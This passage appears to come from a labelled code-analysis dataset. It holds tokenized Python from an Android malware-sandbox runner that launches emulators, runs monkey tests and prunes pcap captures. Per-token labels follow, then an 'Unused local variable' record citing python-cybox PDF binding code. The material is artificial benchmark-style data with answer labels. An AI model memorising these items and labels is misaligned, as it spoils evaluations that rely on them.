"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":", " ", "\"_", "+_", "\"############", "######", " ", "launch", "ing", " ", "activit", "y", " ", "\"_", "+_", "str_", "(_", "activity_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "EM", "ULA", "UNC", "H_", "%_", "(_", "AD", "BP", "ATH", "_", ",_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", ",_", "str_", "(_", "action_", "._", "text_", ")_", ",_", "str_", "(_", "package_", "._", "text_", ")_", ",_", "str_", "(_", "activity_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "launch", " ", "error", ":", " ", "%", "s", "\"_", "%_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "launch", " ", "error", ":", " ", "%", "d", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", " ", "exit", " ", "is", " ", "a", " ", "litt", "le", " ", "too", " ", "har", "sh", " ", "here", ",", " ", "but", " ", "shou", "ld", " ", "probab", "ly", " ", "reque", "ue", " ", "some", "how_", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "exit", "(", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "VM", "\\u", "POLL", "\\u", "REST", "_", "*_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "monkey", " ", "around_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "EM", "UM", "ON", "KEY_", "%_", "(_", "AD", "BP", "ATH", "_", ",_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", ",_", "str_", "(_", "package_", "._", "text_", ")_", ",_", "random_", "._", "randint_", "(_", "1_", ",_", "100_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "output_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "monkey", " ", "return", "ed", ":", " ", "%", "s", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "\t\t\t", "monkey", "\\u", "atte", "mpt", "s", " ", "=", " ", "AD", "BT", "RIE", "S_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "whi", "le", " ", "\"", "Success", "\"", " ", "not", " ", "in", " ", "ret", " ", "and", " ", "monkey", "\\u", "atte", "mpt", "s", " ", ">", " ", "0", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "\t", "kick", "\\u", "adb", "\\u", "may", "be", "(", "adb", "l", ",", " ", "fcn", "t", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "\t", "vlo", "gger", ".", "info", "(", " ", "name", " ", "+", " ", "\":\"", " ", "+", " ", "\"", "monkey", " ", "fail", "ed", " ", "emulator", " ", "monkey", " ", "return", "ed", ":", " ", "%", "s", "\"", " ", "%", " ", "ret", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "\t", "time", ".", "sleep", "(", "VM", "\\u", "POLL", "\\u", "REST", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "\t", "ret", " ", "=", " ", "subproc", "ess", ".", "check", "\\u", "output", "([", "cmd", "],", " ", "shell", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "\t", "monkey", "\\u", "atte", "mpt", "s", " ", "-=", " ", "1_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "\t", "if", " ", "monkey", "\\u", "atte", "mpt", "s", " ", "<=", " ", "0", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "\t", "\t", "syslo", "g", ".", "syslo", "g", "(", "VM", "s", "[", "m", "].", "name", " ", "+", " ", "\":\"", " ", "+", " ", "\"", "monkey", " ", "fail", "ed", " ", "emulator", " ", "monkey", " ", "return", "ed", ":", " ", "%", "s", "\"", " ", "%", " ", "ret", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "monkey", " ", "fat", "al", " ", "error", ":", " ", "%", "s", "\"_", "%_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "syslog_", "._", "syslog_", "(_", "VM", "s_", "[_", "m_", "]_", "._", "name_", "+_", "\":\"_", "+_", "\"", "monkey", " ", "fail", "ed", " ", "emulator", " ", "monkey", " ", "error", ":", " ", "%", "s", "\"_", "%_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "format", "Except", "ion", "Info_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "kill_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "=_", "EM", "UK", "ILL", "_", "%_", "(_", "AD", "BP", "ATH", "_", ",_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "kill", " ", "error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cleanup_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "p", "Em", "u_", "._", "poll_", "(_", ")_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":", " ", "\"_", "+_", "\"", "poll", " ", "is", " ", "\"_", "+_", "str_", "(_", "p", "Em", "u_", "._", "poll_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "p", "Em", "u_", "._", "terminate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":", " ", "\"_", "+_", "\"", "p", "Em", "u", " ", "term", " ", "fail", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", "\t", "\t", "if", " ", "p", "Log", "Cat", ".", "poll", "()", " ", "is", " ", "not", " ", "Non", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "TOD", "O", "\t\t\t", "p", "Log", "Cat", ".", "terminate", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "Log", "Cat_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Log", "Cat_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Null_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "VM", "\\u", "POLL", "\\u", "REST", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"...", "stopping", " ", "VM", " ", "\"_", "+_", "VM", "s_", "[_", "m_", "]_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "vm", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "VM", "local_", "=_", "VM", "s_", "[_", "m_", "]_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VM", "local_", "._", "state_", "=_", "\"", "Off", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VM", "s_", "[_", "m_", "]_", "=_", "VM", "local_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "t2_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "time_", "=_", "time_", "._", "strftime_", "(_", "\"%", "Y", "-%", "m", "-%", "d", "-%", "H", ":", "%", "M", ":", "%", "S", "\"_", ",_", "time_", "._", "gmtime_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results", "\\u", "file_", "=_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\".", "pcap", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msd", "b_", "._", "update", "Finish", "Run_", "(_", "job_", "[_", "'", "job", "uuid", "'_", "]_", ",_", "complete", "\\u", "time_", ",_", "results", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "post", " ", "process", " ", "pcap", ",", " ", "pretty", " ", "crud", "e", " ", "for", " ", "now", ",", " ", "adb", " ", "use", "s", " ", "it", "'", "s", " ", "port", " ", "and", " ", "port", "+", "1", ";", " ", "so", " ", "two", " ", "prune", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#..", ".", "and", " ", "it", " ", "see", "ms", " ", "tha", "t", " ", "adb", " ", "use", "s", " ", "5555", " ", "rega", "rd", "less", " ", "of", " ", "whi", "ch", " ", "even", " ", "port", " ", "is", " ", "specified", "_", "\\u\\u\\uNL\\u\\u\\u_", "original", "pcap", "_", "=_", "MAL", "WARE", "JOB", "SB", "AS", "E_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "job", "uuid", "'_", "]_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\"-", "orig", ".", "pcap", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "pcap", "_", "=_", "MAL", "WARE", "JOB", "SB", "AS", "E_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "job", "uuid", "'_", "]_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\"-", "temp", ".", "pcap", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "final", "pcap", "_", "=_", "MAL", "WARE", "JOB", "SB", "AS", "E_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "job", "uuid", "'_", "]_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\".", "pcap", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cmd", " ", "=", " ", "\"", "prune", "\\u", "pcap", ".", "sh", " ", "%", "s", " ", "%", "s", " ", "%", "s", "\"", " ", "%", " ", "(", "os", ".", "path", ".", "dir", "name", "(", "job", "['", "full", "path", "'])", " ", "+", " ", "\"/", "\"", " ", "+", " ", "job", "['", "sha2", "56", "']", "+", " ", "\"-", "orig", ".", "pcap", "\",", "os", ".", "path", ".", "dir", "name", "(", "job", "['", "full", "path", "'])", " ", "+", " ", "\"/", "\"", " ", "+", " ", "job", "['", "sha2", "56", "']", "+", " ", "\".", "pcap", "\",", " ", "str", "(", "adb", "port", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "\"", "prune", "\\u", "pcap", ".", "sh", " ", "%", "s", " ", "%", "s", " ", "%", "s", "\"_", "%_", "(_", "original", "pcap", "_", ",_", "tmp", "pcap", "_", ",_", "str_", "(_", "adb", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "pcap", " ", "prune", " ", "error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cmd", " ", "=", " ", "\"", "prune", "\\u", "pcap", ".", "sh", " ", "%", "s", " ", "%", "s", " ", "%", "s", "\"", " ", "%", " ", "(", "os", ".", "path", ".", "dir", "name", "(", "job", "['", "full", "path", "'])", " ", "+", " ", "\"/", "\"", " ", "+", " ", "job", "['", "sha2", "56", "']", "+", " ", "\"-", "orig", ".", "pcap", "\",", "os", ".", "path", ".", "dir", "name", "(", "job", "['", "full", "path", "'])", " ", "+", " ", "\"/", "\"", " ", "+", " ", "job", "['", "sha2", "56", "']", "+", " ", "\".", "pcap", "\",", " ", "str", "(", "int", "(", "adb", "port", ")+", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "=_", "\"", "prune", "\\u", "pcap", ".", "sh", " ", "%", "s", " ", "%", "s", " ", "%", "s", "\"_", "%_", "(_", "tmp", "pcap", "_", ",_", "final", "pcap", "_", ",_", "str_", "(_", "int_", "(_", "adb", "port_", ")_", "+_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "pcap", " ", "prune", " ", "error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cmd", " ", "=", " ", "\"", "prune", "\\u", "pcap", ".", "sh", " ", "%", "s", " ", "%", "s", " ", "%", "s", "\"", " ", "%", " ", "(", "os", ".", "path", ".", "dir", "name", "(", "job", "['", "full", "path", "'])", " ", "+", " ", "\"/", "\"", " ", "+", " ", "job", "['", "sha2", "56", "']", "+", " ", "\"-", "orig", ".", "pcap", "\",", "os", ".", "path", ".", "dir", "name", "(", "job", "['", "full", "path", "'])", " ", "+", " ", "\"/", "\"", " ", "+", " ", "job", "['", "sha2", "56", "']", "+", " ", "\".", "pcap", "\",", " ", "str", "(", "5555", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "cmd", " ", "=", " ", "\"", "prune", "\\u", "pcap", ".", "sh", " ", "%", "s", " ", "%", "s", " ", "%", "s", "\"", " ", "%", " ", "(", "original", "pcap", ",", "final", "pcap", ",", " ", "str", "(", "adb", "port", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "vlo", "gger", ".", "info", "(", " ", "name", " ", "+", " ", "\":\"", " ", "+", " ", "cmd", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "ret", " ", "=", " ", "subproc", "ess", ".", "check", "\\u", "call", "([", "cmd", "],", " ", "shell", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "vlo", "gger", ".", "error", "(", " ", "name", " ", "+", " ", "\":\"", " ", "+", " ", "\"", "pcap", " ", "prune", " ", "error", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t\t\t", "sys", ".", "exit", "(", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "TOD", "O", " ", "unique", " ", "ip", " ", "addresses_", "\\u\\u\\uNL\\u\\u\\u_", "#", "tsh", "ark", " ", "-", "r", " ", "<", "input", ".", "pcap", ">", " ", "-", "T", " ", "fields", " ", "-", "e", " ", "ip", ".", "dst", " ", "ip", ".", "src", " ", "|", " ", "sort", " ", "|", " ", "uniq", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "sample", " ", "too", "k", " ", "%", "s", " ", "second", "s", " ", "process", "\"_", "%_", "str_", "(_", "t2_", "-_", "t1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "put_", "(_", "t2_", "-_", "t1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "VM", "s_", "[_", "m_", "]_", "._", "state_", "in_", "[_", "\"", "Off", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "VM", "s_", "[_", "m_", "]_", "._", "name_", "+_", "\"", "run", " ", "error", ":", " ", "found", " ", "in", " ", "state", " ", "OFF", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rval_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "VM", "s_", "[_", "m_", "]_", "._", "state_", "in_", "[_", "\"", "Read", "y", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "VM", "s_", "[_", "m_", "]_", "._", "name_", "+_", "\"", "run", " ", "error", ":", " ", "is", " ", "runn", "ing", " ", "and", " ", "not", " ", "avail", "able", " ", "for", " ", "new", " ", "mal", "ware", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rval_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "m", ".", "name", " ", "in", " ", "assign", "ment", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "if", " ", "assign", "ment", "s", "[", "m", ".", "name", "]['", "timeo", "ut", "']", " ", "<=", " ", "time", ".", "time", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "#", "do", " ", "anyt", "hing", " ", "you", " ", "want", " ", "to", " ", "wrap", " ", "up_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "job", "\\u", "post", "\\u", "process", "(", "m", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "job", "\\u", "clean", "up", "(", "m", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "vm", "\\u", "power", "off", "(", "m", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "else", ":", " ", "#", " ", "if", " ", "the", " ", "machine", " ", "is", " ", "runn", "ing", " ", "but", " ", "there", " ", "is", " ", "no", " ", "job", " ", "assign", "ed", " ", "to", " ", "it", " ", "then", " ", "kill", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "pcap", "\\u", "terminate", "(", "m", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "vm", "\\u", "power", "off", "(", "m", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "else", ":", " ", "#", "not", " ", "sure", " ", "this", " ", "is", " ", "rele", "van", "t", "...", "may", " ", "need", " ", "to", " ", "remove", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "\t", "vm", "\\u", "power", "off", "(", "m", ")", " ", "#", "I", " ", "need", " ", "to", " ", "get", " ", "a", " ", "list", " ", "of", " ", "state", "s", " ", "tha", "t", " ", "I", " ", "want", " ", "to", " ", "power", "off", " ", "by", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "rval_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
CybOXProject/python-cybox/cybox/bindings/pdf_file_object.py
[ { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFXRefTableListType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Cross_Reference_Table_ in self.Cross_Reference_Table:\n Cross_Reference_Table_.export(lwrite, level, 'PDFFileObj:', name_='Cross_Reference_Table', pretty_print=pretty_print)", "metadata": "root.PDFXRefTableListType.exportChildren", "header": "['class', 'PDFXRefTableListType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 56 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFXRefTableType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Subsections is not None:\n self.Subsections.export(lwrite, level, 'PDFFileObj:', name_='Subsections', pretty_print=pretty_print)\n if self.Offset is not None:\n self.Offset.export(lwrite, level, 'PDFFileObj:', name_='Offset', pretty_print=pretty_print)\n if self.Hashes is not None:\n self.Hashes.export(lwrite, level, 'PDFFileObj:', name_='Hashes', pretty_print=pretty_print)", "metadata": "root.PDFXRefTableType.exportChildren", "header": "['class', 'PDFXRefTableType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 131 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFXrefTableSubsectionListType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Subsection_ in self.Subsection:\n Subsection_.export(lwrite, level, 'PDFFileObj:', name_='Subsection', pretty_print=pretty_print)", "metadata": "root.PDFXrefTableSubsectionListType.exportChildren", "header": "['class', 'PDFXrefTableSubsectionListType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 211 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFXrefTableSubsectionType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.First_Object_Number is not None:\n self.First_Object_Number.export(lwrite, level, 'PDFFileObj:', name_='First_Object_Number', pretty_print=pretty_print)\n if self.Number_Of_Objects is not None:\n self.Number_Of_Objects.export(lwrite, level, 'PDFFileObj:', name_='Number_Of_Objects', pretty_print=pretty_print)\n if self.Cross_Reference_Entries is not None:\n self.Cross_Reference_Entries.export(lwrite, level, 'PDFFileObj:', name_='Cross_Reference_Entries', pretty_print=pretty_print)", "metadata": "root.PDFXrefTableSubsectionType.exportChildren", "header": "['class', 'PDFXrefTableSubsectionType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 285 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFTrailerListType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Trailer_ in self.Trailer:\n Trailer_.export(lwrite, level, 'PDFFileObj:', name_='Trailer', pretty_print=pretty_print)", "metadata": "root.PDFTrailerListType.exportChildren", "header": "['class', 'PDFTrailerListType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 364 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFTrailerType', 